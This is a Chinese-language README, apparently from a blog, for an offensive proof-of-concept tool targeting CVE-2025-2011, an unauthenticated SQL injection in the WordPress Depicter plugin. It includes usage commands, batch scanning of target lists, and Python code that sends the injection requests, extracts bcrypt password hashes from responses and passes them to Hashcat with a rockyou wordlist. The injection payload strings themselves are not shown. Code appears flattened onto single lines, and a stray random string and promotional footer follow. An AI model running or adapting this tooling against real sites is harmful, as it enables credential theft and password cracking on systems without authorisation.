项目标题与描述
这是一个针对CVE-2025-2011漏洞的专业检测与利用工具。该漏洞存在于WordPress插件Depicter(Slider & Popup Builder)的3.6.1及更早版本中,是一个未经身份验证的SQL注入漏洞。攻击者可以在无需任何权限的情况下,通过特制的请求从数据库中提取敏感信息,例如用户的bcrypt密码哈希。
项目提供了一个命令行工具,可以自动化地测试单个目标或目标列表,识别漏洞,提取潜在的用户密码哈希,并可选地调用Hashcat进行密码破解。
功能特性
- 双重Payload利用:提供两种不同的SQL注入Payload,以应对不同的环境或过滤情况。
- 批量目标扫描:支持通过文件输入的方式,批量对多个目标URL进行漏洞检测。
- 自动哈希提取:利用正则表达式自动从HTTP响应中识别和提取bcrypt哈希值。
- 集成密码破解:可与Hashcat无缝集成,自动将提取的哈希传递给Hashcat,使用
rockyou.txt字典进行破解尝试(模式3200)。 - 直观的视觉反馈:使用
colorama库提供彩色的命令行输出,并在发送请求时显示动态的加载指示器。 - 结果自动保存:所有测试的请求、状态码和响应片段都会自动保存到以目标主机名命名的日志文件中(例如
results_example.com.txt)。 - 漏洞详情说明:项目文档包含了详细的漏洞卡片,涵盖CVE ID、发布时间、CVSS评分、影响范围等技术细节。
安装指南
-
前提条件:
- 确保系统已安装Python 3。
- 确保已安装
pip(Python包管理器)。
-
安装Python依赖:
运行以下命令安装项目所需的Python库。pip install requests colorama -
可选工具安装(用于密码破解):
- 如果需要使用密码破解功能,请确保系统已安装 Hashcat。
- 同时,需要准备密码字典文件(如
rockyou.txt)。在Kali Linux等渗透测试发行版中,该字典通常位于/usr/share/wordlists/rockyou.txt。
-
获取脚本:
- 将提供的Python脚本(例如
cve-2025-2011.py)保存到本地。
- 将提供的Python脚本(例如
-
运行权限(可选):
chmod +x cve-2025-2011.py
使用说明
基本用法
脚本提供两种指定目标的方式:
- 测试单个目标:使用
-u或--url参数。 - 测试目标列表:使用
-f或--file参数指定一个文本文件,该文件每行包含一个目标URL。
此外,可以使用 -p 或 --payload 参数选择要使用的Payload(1 或 2)。
使用示例
-
对单个网站进行测试(使用默认Payload 1):
python cve-2025-2011.py -u http://vulnerable-wordpress-site.com -
对单个网站进行测试,并指定Payload 2:
python cve-2025-2011.py -u http://vulnerable-wordpress-site.com -p 2 -
批量测试文件
targets.txt中列出的所有网站:python cve-2025-2011.py -f targets.txt
工作流程
- 运行脚本后,会显示一个醒目的ASCII艺术横幅。
- 脚本会构建完整的漏洞利用URL。
- 发送HTTP GET请求时,会显示一个旋转的加载指示器。
- 请求完成后,会显示HTTP状态码和响应的前500个字符。
- 脚本会自动分析响应内容,尝试提取
$2y$等格式的bcrypt哈希。 - 如果发现哈希,会提示用户是否要使用Hashcat进行破解。
- 无论是否发现哈希,详细的测试结果都会被保存到本地日志文件。
核心代码
以下是项目的核心代码模块,附有详细注释。
1. 主函数与参数解析
此部分是程序的入口,负责解析用户输入的参数(目标URL或文件、Payload选择)并调用相应的测试函数。
def main():print(BANNER) # 打印工具横幅parser = argparse.ArgumentParser(description=f"{Fore.CYAN}CVE-2025-2011 PoC by X3RX3S / Double Payload")# 创建互斥参数组,确保用户只能指定URL或文件中的一种group = parser.add_mutually_exclusive_group(required=True)group.add_argument('-u', '--url', help='Target URL')group.add_argument('-f', '--file', help='File with list of target URLs (one per line)')# 添加Payload选择参数,默认为‘1’parser.add_argument('-p', '--payload', choices=['1', '2'], default='1',help='Payload to use: 1 or 2 (default: 1)')args = parser.parse_args() # 解析命令行参数# 处理单个URL目标if args.url:test_sqli(args.url, args.payload)# 处理包含多个URL的文件if args.file:try:with open(args.file, 'r') as f:urls = [line.strip() for line in f if line.strip()]for url in urls:test_sqli(url, args.payload)except FileNotFoundError:print(f"{Fore.RED}[-] Could not find file: {args.file}")print(f"\n{Fore.GREEN}[+] Done! Stay patched, stay safe!")if __name__ == "__main__":main()
2. SQL注入测试与哈希提取函数
这是工具的核心功能函数,负责发送Payload、接收响应、提取哈希并提供后续破解选项。
def test_sqli(url, payload_choice):global spinner_running# 从URL中提取主机名,用于命名结果文件hostname = urlparse(url).hostname or 'unknown_host'log_file = f"results_{hostname}.txt"# 根据用户选择获取对应的Payloadpayload = PAYLOADS[payload_choice]# 构造完整的漏洞利用URLfull_url = url.rstrip("/") + payloadprint(f"{Fore.YELLOW}\n[+] Target: {Fore.CYAN}{full_url}")# 启动一个线程显示加载动画spinner_running = Truet = threading.Thread(target=spinner)t.start()try:# 发送HTTP GET请求,超时时间设置为10秒response = requests.get(full_url, timeout=10)except requests.RequestException as e:spinner_running = Falset.join()print(f"{Fore.RED}\n[-] Request failed for {url}: {e}")return# 停止加载动画线程spinner_running = Falset.join()# 输出请求结果print(f"\n{Fore.GREEN}[+] Status: {response.status_code}")snippet = response.text[:500]print(f"{Fore.MAGENTA}[+] Response snippet:\n{Style.RESET_ALL}{snippet}")# 将测试详情写入日志文件with open(log_file, 'w') as f:f.write(f"URL: {full_url}\n")f.write(f"Status: {response.status_code}\n")f.write("Response snippet:\n")f.write(snippet + "\n")print(f"{Fore.CYAN}[+] Results saved to {log_file}")# 从响应文本中提取bcrypt哈希hashes = extract_hashes(response.text)if hashes:print(f"{Fore.GREEN}[+] Found possible bcrypt hashes: {hashes}")# 询问用户是否要进行密码破解choice = input(f"{Fore.YELLOW}[?] Crack with Hashcat? (Y/N): ").strip().lower()if choice == 'y':run_hashcat(hashes)else:print(f"{Fore.CYAN}[+] Skipped Hashcat cracking.")else:print(f"{Fore.RED}[-] No bcrypt hashes detected in response.")
3. Hashcat集成破解函数
此函数负责将提取到的哈希值保存到文件,并调用外部Hashcat工具进行破解。
def run_hashcat(hashes):# 将所有找到的哈希写入临时文件`hashes.txt`with open('hashes.txt', 'w') as f:for h in hashes:f.write(h + '\n')print(f"{Fore.CYAN}[+] Saved hashes to hashes.txt")print(f"{Fore.YELLOW}[~] Running Hashcat with rockyou.txt for bcrypt (mode 3200)")# 构建Hashcat命令# -m 3200 指定破解模式为bcryptcmd = ['hashcat', '-m', '3200', 'hashes.txt', '/usr/share/wordlists/rockyou.txt']try:# 执行Hashcat命令subprocess.run(cmd)except FileNotFoundError:# 处理Hashcat未安装或找不到的情况print(f"{Fore.RED}[-] Hashcat not found or not installed!")
6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcAP+yich9kTj3ffkxy6bU0Vq
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
公众号二维码

公众号二维码
